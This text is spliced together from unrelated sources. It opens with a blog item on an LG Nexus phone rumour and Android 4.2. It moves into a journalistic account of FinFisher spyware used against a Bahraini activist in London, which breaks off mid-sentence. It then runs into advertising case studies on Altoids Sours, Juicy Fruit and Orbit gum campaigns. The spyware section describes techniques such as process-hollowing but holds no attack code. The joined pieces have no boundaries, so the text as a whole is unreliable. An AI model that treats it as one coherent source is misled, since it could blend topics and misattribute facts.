There are also no details about how much control Google would retain over OTA updates, but given that it could see the number of devices it has to maintain expand rapidly, there will obviously need to be either, A.) more manufacturer involvement, or B.) more AOSP device maintainers at Google. But back to the rumor about Optimus G.
The name of the LG Optimus G Nexus phone will be... The LG Optimus G Nexus. No, seriously. That is what A&M's source is currently saying. Yeah. We're assuming the Nexus program will allow manufacturers to choose the name of their Nexus phone, though, and LG doesn't exactly have a great track record for catchy ones. I definitely wouldn't put it outside the realm of possibility.
As for the next version of Android, A&M and their source confirm what we too have seen our own server traffic logs: Android 4.2. The name of the release, though, is apparently a point of some contention - it may still be Jelly Bean, it may be Key Lime Pie. (I'd like to take this time to remind everyone at this time that I will, as promised, 100% for-real, smash a Key Lime Pie in my face if the "K" version of Android is not called Key Lime Pie. I might even do it if it's Jelly Bean. We'll see.)
On the far more uncertain side of things, A&M's source is claiming we'll see Android 5.0 next fall (2013), but given that we know Google's versioning system is pretty non-committal up until a new release nears public availability, I'm not going to put too many eggs in that particular basket.
Android and MeA Spy in the Machine How a brutal government used cutting-edge spyware to hijack one activist's life By Amar Toor & Russell Brandom In November 2005, during the dead of night, five black cars pulled up in front of the home of Moosa Abd-Ali Ali. The doors opened, and a group of men stepped out. They could’ve been officers, or maybe they were just hired muscle — such distinctions aren’t always clear in Bahrain. But Moosa knew they were sent by the government, and they had come for him. Moosa was just 24 at the time, but he had already become a prominent anti-government activist within the small kingdom of Bahrain. He’d spent years protesting for equal employment rights and had been jailed and tortured on several occasions. When the cars pulled up outside his home that night, he had just served a nine-month prison sentence on charges that were never revealed to him. The men barged into Moosa’s house and dragged him out into the streets of Al-Akar, the seaside village where he lived with his wife and young son. They took him to a quiet, darkened alleyway and took turns beating him. Then they raped him. If he didn’t stop his activism, they told him, they would do the same to his family. Moosa didn’t leave his house for a week after the assault. On December 21st, 2005, he fled for London, after narrowly sliding by Bahraini security forces at the airport. "If I stayed in Bahrain I would have died in prison," he says. "I am sure of it." He hasn’t been home since. His torturers were now thousands of miles away. Or so he thought Moosa became an activist at the age of 14, when he saw one of his favorite teachers being carried away in handcuffs by a group of policemen. He was politically naive at the time, but the teacher’s arrest lit a fire. Days later, he joined his very first protest — an act for which he was held at gunpoint in his home and sent to jail for five months. Now 33, Moosa has spent most of his life campaigning for democracy and equal rights in Bahrain, a Middle East island nation of 1.3 million that has been ruled by the Khalifa family dynasty for more than 200 years. He’s been jailed seven times — "Not a small number," he says — and has endured brutal torture and assault at the hand of Bahraini officials. Bahrain’s government has a long and dubious human rights record, especially when it comes to free speech. Even the smallest forms of dissent are regularly met with severe punishment, and the crackdown has only intensified following the Arab Spring uprisings of 2011. This month, a prominent activist was sentenced to six months in prison over tweets that were critical of the country’s defense and interior ministries. Bahrain has also been a longtime ally of the United States and particularly the UK, a relationship the kingdom has maintained despite ongoing unrest. That’s why Moosa fled to London. If he couldn’t continue fighting from within Bahrain, he could at least do it from Bahrain’s closest and historically most important global partner. (Bahrain was effectively a British protectorate until 1971.) He was granted asylum in 2006, his wife and child joined him a year later, and for a while, it seemed as if he was finally safe. He found a job as a cameraman for a Bahraini news agency and embedded himself within London’s community of exiled activists. He was definitely still on the Bahraini government’s radar — his high-profile demonstrations and sizable social media following made sure of it — but he was finally free to protest, and his torturers were now thousands of miles away. Or so he thought.
One day in 2011, Moosa opened the Facebook Messenger app on his iPhone. What he saw was chilling: someone else typing under his name to an activist friend of his in Bahrain. Whoever it was kept posing personal questions prodding for information, and Moosa watched unfold right before eyes. He panicked. "It was like, ‘What’s going on? What’s happening?’" he recalls. He changed his password, alerted his friend, and stopped using Facebook Messenger — but the intrusions kept coming. In another instance, Moosa noticed that someone posing as him solicited his female Facebook friends for sex — part of an effort, it seemed, to blackmail or perhaps defame him in Bahrain’s conservative media. Facebook was only the beginning. Unbeknownst to him, Moosa’s phone and computer had been infected with a highly sophisticated piece of spyware, built and sold in secret. The implant effectively commandeered his digital existence, collecting everything he did or said online. The implant effectively commandeered his digital existence Upon his arrival in London, Moosa had become an unofficial archivist for his activist community, obsessively documenting every protest and broadcasting his videos to a large group of YouTube followers. Whenever something happened back in Bahrain, he’d receive a flurry of images and video footage from contacts and disseminate the content online and to media outlets. Now, whoever was behind the hack had access to all of his accounts, emails, documents, and a massive trove of videos. They could even control his computer’s webcam and microphone. An investigation would later reveal that Moosa’s online life was hijacked for eight months. All signs pointed to Bahrain as the culprit, and FinFisher, a mysterious spyware for-hire tool, as the weapon of choice.
It was May of 2012 when Morgan Marquis-Boire first got the package from Bahrain. He was working on Google’s incident response team at the time, protecting high-risk users from state-sponsored attackers. (He has since become security director for First Look Media.) Along the way, he’d seen a lot of spyware being sent after protesters during the Arab Spring. Most of the implants he ran into were easy to spot and remove. But this one, arriving in a protected attachment from BahrainWatch, seemed more complicated. Following standard procedure, Marquis-Boire set the program running in a virtual machine, essentially a fish tank where he could watch the virus at work. He watched the virtual machine’s working memory, keeping his eye on the software as it stretched its legs in the new environment. "Holy shit, I think this is FinFisher!" Then, without warning, the implant disappeared. That got Marquis-Boire’s attention. "I thought, ‘Oh we have a player here,’" he recalls. It was a sign of a more sophisticated author at work. The implant used a technique called process-hollowing — injecting its own code into a program that’s still running in order to use the legitimate program as cover. Digging through the working memory, Marquis-Boire found the implant hiding in "winlogon.exe," and he could see the new files that had rushed in to replace the old ones. One line of code stuck out, left over from a file path on the implant developer’s computer: y:\lsvn_branches\finspyv4.01\finspyv2\src\libs\libgmp\mpn-tdiv_qr.c "I thought, Finspy, that rings some bells," Marquis-Boire recalls. "Holy shit, I think this is FinFisher!" FinFisher had become a kind of bogeyman in the security community since brochures advertising the software’s capabilities popped up in a Wikileaks drop in December of 2011. FinFisher could purportedly empower its owner with the kinds of advanced intrusion techniques usually reserved for the NSA. "There was a certain amount of interest just because no one had seen it," Marquis-Boire says. "All we had were these leaked documents." The cover page of a FinFisher document released by Wikileaks. FinFisher was created and sold by Gamma International, an international surveillance company with offices in London and Frankfurt. The Gamma brochures promised remote monitoring and keylogging — they even said they could listen in on a target’s Skype calls in real time. It’s the kind of technology that could be subject to international export restrictions like the Wassenaar Arrangement, so finding it in the hands of the Bahraini government would have major diplomatic consequences. But so far, no one had been able to pin down the program in action. When Arab Spring protestors found evidence of FinFisher use by the Mubarak government in Egypt, Gamma simply said the software had been stolen. No one was ever able to prove otherwise. But now Marquis-Boire had caught a FinFisher sample in the wild, and thanks to the leaked brochures, he had a roadmap of everything the implant could do. The implant divided its tasks between different modules |
Sours website (www.gonesour.com), the layout of which resembled a school yearbook. There consumers could find out more about the change Altoids was undergoing and watch longer versions of the TV commercials.
Leo Burnett claimed that the campaign had to be discontinued because Altoids Sours sold out after the summer 2002 launch. The print portion of the campaign won numerous top honors on the 2003 ad-industry awards circuit. Altoids Sours effectively created a new candy market—hard sours for adults—and subsequent Sours advertising remained true to the Altoids heritage. In 2004 the Altoids brand was purchased by the Wm. Wrigley Jr. Company.
HISTORICAL CONTEXT
First manufactured in the United Kingdom in the 18th century, Altoids peppermints were originally marketed as a cure for intestinal discomfort. They came to America via Seattle, and for most of the twentieth century their distribution network did not reach beyond the Pacific Northwest. By the late 1980s Altoids had, thanks to its slogan "curious strength" and distinctive tin-box packaging, attracted a cult-like, word-of-mouth following among the denizens of Seattle's upscale coffee shops and nightclubs, despite the fact that British confectioners Callard and Bowser-Suchard, the makers of Altoids, did virtually no U.S. advertising behind the brand. In 1993 Callard and Bowser-Suchard was bought by Kraft Foods, and Kraft hired Leo Burnett to produce a small-scale campaign that would leverage Altoids' chic image and devoted word-of-mouth following. The campaign broke in 1995.
Kraft and Leo Burnett initially ruled out any attempt to create mainstream national awareness of the Altoids brand. Instead, they focused strictly on major American cities, such as Minneapolis, New York, Chicago, and Los Angeles, and within those cities they pinpointed neighborhoods frequented by successful, savvy young adults. Altoids posters, touting the mints' "curiously strong" flavor, were placed in bus shelters, subways, and alternative weeklies, and used ironic humor, a retro look, and offbeat, sometimes provocative imagery to appeal to their in-crowd target. For instance, a bodybuilder squeezing an Altoids tin was paired with the copy, "Nice Altoids." A dominatrix was featured in one poster along with the phrase "Pleasure in Pain." The copy that ran with some ads, "Mints so strong they come in a metal box," was adapted to fit the exterior of a Chicago El train and also ran on the backs of fare cards: "Mints for people who ride in a metal box." Other unique ad placements included a tugboat that circumnavigated New York harbor and rickshaws that traversed targeted Manhattan neighborhoods. Later ads were placed in magazines with national circulations.
The Altoids print and outdoor launch campaign was one of the most successful of its time. It won numerous ad-industry awards and triggered a period of extreme growth for the Altoids brand. Between 1995 and 1999 Altoids went from a 2 percent market share in the breath-freshener market to the category leader, besting longtime top mint Tic Tac on the way to transforming the category. Extra-strength imitators flooded the market, and Altoids itself introduced new flavors Wintergreen and Cinnamon. By 2002, however, sales had begun to slump, partly as a result of the newly saturated market. That year Kraft introduced several additional Altoids product lines, including a hard candy in sour fruit flavors meant to grow the brand in a new direction.
TARGET MARKET
The "Altoids Gone Sour" campaign, like the Altoids advertising that preceded it, targeted trendsetting urban-ites. Kraft and Leo Burnett expected the brand's heritage of "curious strength" and hipness to resonate with members of this group, whether or not those individuals were already Altoids consumers. Altoids maintained a strong hold on young adults, but the "Altoids Gone Sour" spots appealed more to a mindset than a particular age or income group. The campaign was overtly geared toward media-savvy individuals with a postmodern sense of irony, people who placed a premium on being "in the know."
The print and outdoor portions of the campaign featured humorously awkward, 1970s-style high-school yearbook photos, using the changes experienced during adolescence to introduce the idea "Your Altoids are changing." For the first time Altoids ran television commercials, airing parodies of old-style educational films that supported the adolescent theme. While the move to TV risked making the brand seem more mainstream, the spots appeared only on cable stations, and the increasingly specialized cable-TV marketplace allowed Kraft and Leo Burnett to select specific audiences with a degree of precision comparable to its established model of highly targeted print and outdoor placements. Print, outdoor, and TV advertisements all directed consumers to an Altoids Sours website, where longer versions of the TV spots were integrated, along with the print and outdoor imagery, into a school-yearbook format.
COMPETITION
One measure of Altoids' success in the late 1990s was the number of competitors who attempted to copy the brand's extra-strength product and distinctive packaging. Life Savers unveiled its Ice Breakers line, and Certs (previously number two in the category) launched Powerful Mints. Department store Neiman Marcus, discount store Target, and coffee-retailing giant Starbucks, among many others, each introduced extra-strength mints packaged in tin boxes. The proliferation of such super-mint copycats and the resultant erosion of Altoids sales was one of the reasons the brand began turning to new product lines such as Altoids Sours.
Former category leader Tic Tac, owned by Ferrero S.p.A., was virtually alone in the breath-freshener category in remaining true to its original product during the super-mint onslaught of the late 1990s. "We had the same Tic Tac strategy in 1980 as there is today," Ferrero's U.S. director of marketing told Candy Industry in 2002. Tic Tacs, like Altoids, boasted their own distinctive product and packaging, small colored pellets that rattled when shaken in their trademark plastic dispenser, and though Ferrero lost market share as well as its industry-leading position to Altoids in the late 1990s, the Tic Tac formula continued to prove successful. As the breath-mint category showed signs of waning in 2002 and Altoids turned to fruity flavors, Tic Tac likewise began to emphasize fruit. Having noticed more sales consistency from its orange flavor during the mint downturn, Ferrero accordingly made its seasonal lime flavor a permanent part of the Tic Tac stable.
Meanwhile, Vitech America, Inc., was one of the only confections manufacturers to have a preexisting product positioned to compete with Altoids Sours. Vitech's Squyntz! were, like Altoids Sours, one of the few fruit candies targeting adults. Vitech, which also boasted an Altoids competitor called Myntz!, began developing a marketing push in 2002 to position its candies, in the Altoids manner, as fashion accessories for discerning consumers.
MARKETING STRATEGY
Altoids Sours applied the principle of extra-strength flavor to a sour fruit candy for adults. At the time the hard-candy market was primarily focused on children, so Kraft and Leo Burnett saw themselves as creating a new product category, as they had done with the original Altoids campaign in the 1990s. The Altoids strategy of using irony and a retro look to speak to knowing, cutting-edge hipsters remained in place, but the "Altoids Sours" campaign had its own distinctive look and trajectory. As Altoids' senior brand manager Andrew Burke told Advertising Age, "[Moving into hard candy] is a big change, and we thought, 'How do we take the next step?'"
THE FLAVORS
Altoids built its brand on a single, centuries-old, extra-strength peppermint flavor, but with increasing competition after its hugely successful late-1990s marketing campaign, the brand began diversifying into other "curiously strong" flavors as a way of building and maintaining market share. The Altoids mints line was enlarged to include wintergreen, cinnamon, and spearmint; the Altoids Sours line expanded beyond its initial offering of citrus and tangerine to include apple and raspberry; a line of Altoids breath strips was launched and then discontinued; and Altoids branched out into gum, with peppermint and cinnamon flavors as well as Sours gum in apple and cherry flavors. A tiny version of the original Altoids mints was launched, complete with its own tiny tin, and a Specialty line, featuring ginger and licorice flavors, rounded out the Altoids family of products.
That next step included, significantly, television advertising. The Altoids brand had been built on its cutting-edge, alternative image, so television represented a calculated risk. As Leo Burnett's Steffan Postaer said, "The biggest reason not to [use TV] was the fear of going mainstream." A changing cable marketplace, however, meant that the Sours commercials could be programmed to reach Altoids' core audience of culturally aware, trend-setting types.
Airing during the summer of 2002 on cable networks that included MTV, VH1, E! Entertainment, and Bravo, the Sours TV spots were 15-second versions of 60-second Web films. The TV commercials were meant to spark interest in the new product and drive traffic to an Altoids Sours website (www.gonesour.com), whose layout mimicked a school yearbook and where, among other features, the full films were available for viewing. Parodying educational videos aimed at schoolchildren of an earlier era, the Web films reproduced the grainy look of old film reels and their accompanying cautionary voice-over, while weaving Altoids Sours into their storylines. In "Making Friends with Fruit," for instance, a boy in early adolescence was shown arriving at a pool party with actual citrus fruit in a metal lunch-box. When another boy attracted the attention of numerous girls with his circular tin of Altoids Sours, the voice-over proclaimed the film's message: "When making friends, not just any fruit in a metal box will do." Another Web film, "Healthy Curiosity," featured a boy performing science experiments in a school laboratory. During the course of an experiment designed to determine "what makes sour things sour," the boy fed an Altoids Sour to the class's pet guinea pig. The guinea pig exploded, providing "scientific evidence of curiously strong citrus sour flavor."
The print and outdoor portions of the "Altoids Gone Sour" campaign, which communicated the idea "Your Altoids are changing," without providing any full explanation of that change, likewise drove traffic to the campaign's website. In keeping with the TV spots and the website format, the print ads and outdoor posters were reproductions of 1970s yearbook photos featuring humorously awkward adolescents. A teenage girl was shown above copy that read, "Soon your Altoids will blossom." The other three school portraits were of boys. One photograph ran with copy advising, "Don't be afraid to explore your Altoids"; another declared, "It's normal for your Altoids to change"; and a third informed consumers, "My Altoids are changing, and I'm OK with that." Each of the print spots included the www.gone-sour.com website address.
OUTCOME
Within the first four weeks of the product launch, the "Altoids Gone Sour" push resulted in more than 500,000 visits to the brand's interactive website. Sales of Altoids Sours exceeded expectations. According to Leo Burnett, the campaign was so successful that it had to be discontinued: Altoids Sours sold out after the launch. The print component of the campaign was a star on the 2003 advertising-awards circuit, winning a Clio, an Andy, and a Gold EFFIE.
Subsequent Altoids Sours advertising remained true to the brand's trademark ironic humor and retro imagery and helped the Altoids brand stake out another new category in the candy industry. A print and outdoor campaign similar to classic Altoids posters used copy such as "Fruity Yet Strong" and "One Bad Motherpucker" in 2003. In 2004 the Altoids brand was purchased, along with LifeSavers and other Kraft confectionery divisions, by the Wm. Wrigley Jr. Company. Altoids' second-ever TV campaign followed. Also featuring print and online components, the TV spots starred a fictional British anthropologist and explorer, Sir Gerald Pines, who reported, in mock-documentary format, on the Altoidians, an aboriginal tribe whose "constant exposure to curiously strong sour has rendered them immune to pain." The Sir Pines spots helped Leo Burnett and new Altoids owners Wrigley to win a 2005 Gold Lion at the International Advertising Festival in Cannes, France.
FURTHER READING
Beirne, Mike. "Altoids Seeks to Stay Fresh." Adweek, December 9, 2002.
――――――. "Mint Condition." Brandweek, March 25, 2002.
Cox, Beth. "A Curiously Quirky Ad Campaign." ClickZ, August 16, 2002.
Embry, Liz. "Altoids: 'Curiously Strong' … And Now Sour, Too." Houston Chronicle, September 22, 2004.
Kanner, Bernice. "Altoids Comes on Strong with Launch of New Flavor." Denver Rocky Mountain News, September 22, 1997.
Sectzer, Jessie Ray. "Shakeout Leaves Classic, Creative Mints on Top." Candy Industry, January 2002.
Thompson, Stephanie. "Altoids Takes to TV with Spots for Sours." Advertising Age, July 15, 2002.
――――――. "Curiously Strong Altoids Moves Up Closer to No. 1." Advertising Age, December 13, 1999.
Wechsler, Pat. "A Curiously Strong Campaign." BusinessWeek, April 21, 1997.
"Wrigley to Buy Altoids and Life Savers from Kraft." Candy Industry, November 2004.
Mark Lane
OVERVIEW
Soon after its introduction in 1893, the Wm. Wrigley Jr. Company's Juicy Fruit chewing gum became the best-selling gum in the United States. Although Juicy Fruit was still number one in the early 2000s, with a 31 percent market share worldwide, the brand was losing ground to other gum brands, including Cadbury Schweppes' Trident, Dentyne, and Chiclets brands, which together claimed a 26 percent share of the worldwide chewing-gum market.
To reconnect with its key consumers—kids ages 12 to 17-in 2002 Wrigley launched an effort to reposition its Juicy Fruit brand. The company updated the product's packaging, and its longtime agency, BBDO Chicago, created edgy new television spots as part of its ongoing "Gotta Have Sweet" campaign. In 2003 Wrigley introduced two new Juicy Fruit flavors, Grapermelon and Strappleberry, each of which twisted together two different fruits. To support the new products' launch, BBDO revamped the "Gotta Have Sweet" campaign as "Gotta Have Twisted Sweet" and created new television spots, print ads, and a print-to-Web effort, which used print ads to direct consumers to a Juicy Fruit website.
The "Gotta Have Twisted Sweet" campaign had mixed results. Two television spots, "Piñata" and "No Dummy," were named Best Spots by Adweek in 2003 and 2004, respectively. Also in 2004, at the Chicago Creative Club's annual award ceremony, the Juicy Fruit television spot "Officeflage" earned both the People's Choice award, which was voted on by the public, and the Best of Show award, which was determined by a panel of judges. In 2005, however, the campaign's print-to-Web segment was cited by the Children's Advertising Review Unit for being potentially misleading to the young consumers it targeted. Following the ruling Wrigley ended the print-to-Web advertising, but the television spots and other print ads were continued in 2005.
HISTORICAL CONTEXT
The Wm. Wrigley Jr. Company got its start in 1891 selling soap, a product that William Wrigley, Jr.'s father manufactured. To boost sales the younger Wrigley offered customers free premiums, including baking powder, with each purchase. Realizing that baking powder was more popular with customers than the soap, Wrigley began selling baking powder and offering packages of chewing gum as the free premium. The gum was an even bigger hit with customers, and in 1892 Wrigley began to sell chewing gum under his own name. Wrigley's first gum brands were Lotta and Vassar. Juicy Fruit was introduced in 1893 and quickly became the number one gum brand in the United States. Its flavor, though fruity, was never associated with any particular fruit.
During World War II Wrigley stopped selling Juicy Fruit and its other gum brands to American consumers, dedicating the entire available product to the country's military troops. To ensure that consumers did not forget the brand while it was unavailable, Wrigley launched an unusual marketing campaign in 1944 that consisted of print ads with a picture of the gum wrapper and the tagline "Remember this wrapper!" When the brand was reintroduced to American consumers in 1946, its ads had the tagline "For a refreshing change enjoy this completely different flavour."
One of Juicy Fruit's most notable taglines, "Taste is gonna move you," was introduced in 1983. By 1998 the slogan had lost its appeal with consumers, especially teens, Juicy Fruit's key market. Confronted with dropping sales, the company and its ad agency, BBDO Chicago, conducted extensive research among kids who chewed Juicy Fruit gum to learn what they liked about the product. The answer was that they chewed the gum because it was sweet. Based on the research the "Gotta Have Sweet" campaign was released in August 1998.
When William Wrigley, Jr., great-grandson of the company's founder, took over as chief executive officer in 1999 following the death of his father, the 35-year-old became the fourth generation of the family to head up Wrigley. In 2001 he revamped the company's marketing department and began looking past BBDO Chicago, which had worked with Wrigley for more than 70 years, for new ideas for marketing Wrigley products. BBDO heeded the warning and updated the agency's campaign efforts for Wrigley's gum brands. In addition, Juicy Fruit's packaging was redesigned for the first time since the 1980s, and to promote its two new flavors, in 2003 the "Gotta Have Sweet" campaign was modified as "Gotta Have Twisted Sweet."
TARGET MARKET
Besides being the number one fruit-flavored brand of gum in the United States among all consumers, Juicy Fruit also was the best-selling gum among kids 12 to 17 years old. Juicy Fruit had always been considered a bridge between kid-favored bubble gum and more adult gum choices such as Wrigley's Spearmint, and the two new flavors added to the Juicy Fruit family—Grapermelon and Strappleberry—were designed specifically for teens moving beyond bubble gum. Consumers in the company's target audience were described by the Chicago Sun-Times as "Skippies," schoolkids with income and purchasing power. According to Teenage Research Unlimited, a Chicago-based company that tracked trends among youths, Skippies spent $170 billion on products for themselves or their families in 2002, up from $155 billion in 2000. Reaching this key demographic was the goal of Wrigley's edgy new campaign, "Gotta Have Twisted Fruit." As the popularity of the new flavors became evident, Wrigley shifted its focus to even younger consumers, targeting children 8 to 11 years old.
COMPETITION
Cadbury Schweppes, based in London, England, was best known as the number three producer of soft drinks, behind the Coca-Cola Company and PepsiCo. Its beverage brands included 7 Up, A&W Root Beer, Dr Pepper, and Hawaiian Punch. In 2003 Cadbury completed a $4.2 billion deal with New York-based Pfizer, Inc., and purchased the pharmaceutical giant's Adams candy division. Included in the purchase were the Adams gum brands Trident, Dentyne, and Bubbas. Adding the Adams gum brands to its product offerings pushed Cadbury into the number two spot in the chewing-gum market, with a 26 percent worldwide share (behind Wrigley, which had a 31 percent share). Cadbury also claimed one-third of the sugarless-gum market in the United States. In 2004 Cadbury announced plans to expand its Trident brand to include fruit flavors; these would directly compete with Wrigley's fruit-flavored Juicy Fruit.
For more than 50 years the Topps Company of New York had given bubble-gum lovers and collectors of sports memorabilia a combination of their two favorite things: packs of Bazooka bubble gum and sports trading cards. Since its introduction in the 1940s Topps had used a variety of marketing techniques to increase its Bazooka brand's appeal to kids, including introducing Bazooka Joe comics in 1953 and adding new flavors, such as grape, strawberry, and a sugarless variety, to the original gum. The company also increased the variety of sports trading cards that were packaged with the gum; from the original cards, introduced in 1951, that featured pictures of baseball stars, the offerings were expanded to include popular hockey players beginning in 1954, football players in 1955, and basketball players in 1957. In 1967 Topps introduced Wacky Packages trading cards, which were sold with Bazooka bubble gum. The cards spoofed everything from Jell-O (tagged Jail-O and called the favorite dessert of Sing Sing inmates) to Minute Rice (Minute Lice) and were a hit with junior high school students. The 1985 introduction of Garbage Pail Kids trading cards, a parody of Cabbage Patch Kids dolls, helped fuel sales of Bazooka bubble gum despite complaints from parents that the gross-out humor of the cards was in poor taste. The Wacky Packages were discontinued in 1976, and the Garbage Pail Kids were canceled in 1988, but Topps reintroduced the trading cards to a new audience of young consumers in 2003 (Garbage Pail Kids) and 2004 (Wacky Packs).
MARKETING STRATEGY
In 2003 Wrigley added to its 100-year-old brand Juicy Fruit two new flavors, Grapermelon and Strappleberry, that each combined, or twisted together, two fruit flavors. The company turned to its longtime agency, BBDO Chicago, for an advertising campaign that would support the 2003 launch of the product. The new campaign, themed "Gotta Have Twisted Sweet," was a variation on the brand's "Gotta Have Sweet" campaign, which had begun in 1998. Staying with the original campaign's humorous theme, the new one put a unique edge on seemingly ordinary situations to promote the new gum flavors. Included were television spots that targeted teens and 20-somethings, print ads aimed at middle school kids, and a print-to-Web effort that was developed for kids as young as eight years old.
The initial television spot, "Piñata," aired in October 2003 and depicted a children's birthday party. The center of attention, however, was not the birthday girl but a donkey-shaped piñata full of goodies and suspended from the ceiling. The celebrants took turns whacking the piñata in an effort to break it and get the treats inside. When it was finally broken, it dropped from the ceiling and began chasing one of the children who had grabbed the package of Grapermelon Juicy Fruit. After retrieving the prized gum from the terrified child, the piñata made its escape through a dog door. Another spot, "Officeflage," featured office workers camouflaging themselves as office furniture and equipment in order to grab a pack of the new Juicy Fruit gum from their unsuspecting coworkers. The first worker bought a pack of Strappleberry from an office vending machine. As he walked down the hall preparing to pop a piece of the gum into his mouth, a coworker disguised as a file cabinet swiped the pack of gum, shook off the disguise, and ran down the hall. As the second coworker stopped to retrieve a piece of gum, a third person, who had been lurking on a windowsill disguised as miniblinds, jumped from the window, snatched the gum, and ran into the office lunchroom. As he sat on the floor opening the treasured pack of gum, he noticed another coworker disguised as a water cooler poised to grab the Juicy Fruit.
JUICY FRUIT FASHION FOR BRITISH FANS
Beginning in 2002 girls and young women in England could do more than chew Juicy Fruit gum. They could also head to a nearby Top Shop or Debenhams department store to buy Juicy Fruit-branded clothes. The new line, available only in select U.K. stores, included four styles of tops, hats, belts, and bags. According to a Wrigley spokeswoman, the new apparel targeted girls and women ages 11 to 24 years old.
The campaign continued in 2004 with a third television spot. As with "Piñata," the new spot involved an inanimate object coming to life. In "No Dummy" a class of high school students were shown beside a swimming pool learning CPR. As a teenage boy was practicing mouth-to-mouth resuscitation on a dummy, it came to life and stole the Juicy Fruit gum from his mouth. With the gum in its own mouth, the dummy made its escape, losing an arm and a leg in the process. When the dummy crashed its getaway vehicle—a bicycle—into a car and was knocked unconscious, the boy caught up, retrieved his gum, and continued performing CPR on the dummy. The television spots aired on national network and cable channels, such as MTV, that ran programming that appealed to teens.
Print-to-Web ads, which appeared in Disney Adventures magazine and targeted younger kids, also adopted a unique approach. Described as "mock ads" by the Promotions Marketing Industry, the two separate ads listed websites that appeared to promote a new boy band (www.luvboiseboys.com) and a movie (www.lambzilla.com) by directing readers to the Internet sites. When readers visited either website, however, rather than images of the band or scenes from the movie, they reached a Juicy Fruit webpage that played the "Gotta Have Twisted Sweet" television spot "No Dummy." Other print ads, aimed at preteens and tagged "Gotta Have Twisted Comics," ran in Nickelodeon magazine. The ads, which employed a comic-strip format, followed the ongoing adventures of students at the fictitious Dewey Needit Junior High School and eventually answered the question, "Who gets the Juicy Fruit in the end?"
OUTCOME
The "Gotta Have Twisted Sweet" campaign's television spots were included in Adweek's Best Spots list in both 2003 and 2004; the "Piñata" spot was recognized in 2003, and the "No Dummy" spot was recognized the following year. Also in 2004, the Chicago Creative Club, an organization of Chicago-based advertising and design leaders that each year recognized the high standards of the Chicago creative community, presented its annual People's Choice honors to the "Officeflage" spot. "Officeflage" was named the Best of Show in the TV Commercial category as well.
Although the "Twisted Sweet" television spots were well received, the print ads that appeared in Disney Adventures magazine were criticized by the Children's Advertising Review Unit (CARU), a division of the Council of Better Business Bureaus and the self-regulatory forum of the children's-advertising industry. CARU cited that portion of the campaign for using mock ads that supposedly led children to websites for either a new band or a new movie but that actually directed Internet users to a Juicy Fruit ad. According to a report in Advertising Age, CARU stated that the overall print-to-Web campaign was "potentially misleading" and misinformed youngsters about the source of the ads. Further, CARU noted that, while older children might understand the humor of the commercial featuring a CPR dummy that came to life, stole a boy's gum, and was ultimately chased down by the boy, the commercial "could be too disturbing for younger children." Wrigley agreed to pull the online commercial. The websites were also discontinued.
FURTHER READING
Alpert, Lukas I. "Garbage Pail Kids Stickers Set to Return." Salt Lake City Deseret News, July 12, 2003.
――――――. "'Wacky Packages' to Return." Chicago Sun-Times, March 10, 2004.
Armitage, Jim. "Cadbury Outstrips Rivals after Adams Gum Buy." Evening Standard (London), February 23, 2005.
Boorstin, Julia. "Why Is Wrigley So Wrapped Up? Because It's in the Company's DNA." Fortune, March 3, 2003.
"Chewing-Gum Ads Sport New Flavor. Candy Makers' Sales Climb as Conservative Pitches Get Stuck under the Desk." Wall Street Journal, December 31, 2004.
"Confectioner and Beverage Maker Cadbury Schweppes PLC Said It Plans to Sell Its European Beverages Business as It Focuses on More Profitable Lines, Including Operations in the United States." Food & Drink Weekly, September 12, 2005.
"'Double Your Pleasure' Duds and Accessories." Candy Industry, June 1, 2002.
"Genius Products Secures Rights to Bazooka Brand for New Line of All-Family DVDs Hosted by Bazooka Joe." Business Wire, December 24, 2004.
Guy, Sandra. "Wrigley Eyes New Products to Fend Off Revived Rival." Chicago Sun-Times, March 12, 2003.
Irvine, Martha. "To Freshen Old Brands, Firms Ask 'Skippies.'" Chicago Sun-Times, July 4, 2003.
Lazare, Lewis. "Wrigley Ad Is the People's Choice." Chicago Sun-Times, September 30, 2004.
Platt, Gordon. "The Americas: Cadbury Schweppes Buys Pfizer Unit." Global Finance, February 2003.
Podmolik, Mary Ellen. "Juicy Fruit; Jennifer Crotty." Advertising Age, June 26, 2000.
Teinowitz, Ira. "Food Advertising Pushed into Harsh Spotlight." Advertising Age, March 15, 2005.
"Wrigley Extends Juicy Fruit to Pellet Gum." Professional Candy Buyer, May 1, 2003.
Rayna Bailey
OVERVIEW
In 2001, supported by a campaign titled "No Matter What," the Wm. Wrigley Jr. Company introduced its Orbit gum, long available in Europe, to the United States. Orbit was different from such Wrigley brands as Doublemint and Juicy Fruit in that it was sugar-free, and the introduction of Orbit in the United States occurred at a time of increasing emphasis on dental health. Wrigley, however, was not the first U.S. company to offer sugar-free gum, for competitor Trident had been sugar-free since the 1960s. In fact, Orbit was not the first sugarless Wrigley product available in the United States; the company's Extra had been introduced in 1984 and Eclipse in 1999. Still, Wrigley wanted another alternative in its sugar-free lineup, especially since U.S. sales of chewing gum had been lagging for a decade. The timing turned out to be perfect, for in 2002 Wrigley's top two U.S. competitors—Trident and Dentyne—were purchased by Cadbury Schweppes. Thus, the competition in the chewing gum market intensified, and Wrigley, with a wider selection, was in a better position to compete.
The "No Matter What" campaign, led by the Chicago advertising agency Energy BBDO, sought to target a market of working people and their families between the ages of 18 and 49. The ads featured the actress Vanessa Branch, usually referred to simply as Vanessa, as a vivacious researcher at the so-called Orbit Institute, showing how the gum could help people feel neater and more "put together." They were also used as a way to introduce new flavors of Orbit gum. Television spots, which accounted for most of the total costs of the campaign, were aimed at showing how Orbit could leave a mouth clean "no matter what." In a variety of humorous scenarios the New York Times pegged as "seemingly inspired by Austin Powers movies," including one in which a tourist was nearly eaten by an enormous Venus flytrap, Vanessa was able to keep any mouth clean she happened to stumble across. The television spots were supported by other marketing efforts, including print ads and point-of-relevance posters that appeared in such places as taxicabs.
The "No Matter What" campaign was a success on several levels. First, studies measuring both advertising awareness and brand linkage among viewers of the television spots showed that the campaign had indeed reached its intended audience. The campaign won advertising honors, including a prestigious EFFIE Award, for its achievements. In addition, financial results seemed to confirm the success of the campaign. In 2004, just three years after Orbit had been introduced, the gross sales of all Orbit products in the United States exceeded $90 million, and the gum was outselling second-place Trident. Further, Orbit was accounting for one-third of Wrigley's profits.
HISTORICAL CONTEXT
William Wrigley, Jr., founded the Wm. Wrigley Jr. Company in Chicago in 1891. At first he sold soap, but he soon replaced soap with baking soda. In a move that demonstrated his flair for marketing, Wrigley offered customers a bonus with every purchase of Wrigley's Baking Powder: two packages of chewing gum. By 1892 Wrigley had begun selling packs of chewing gum independently, marketing the product under his own name. The first two brands were Vassar and Lotta, followed in 1893 by Juicy Fruit and Wrigley's Spearmint.
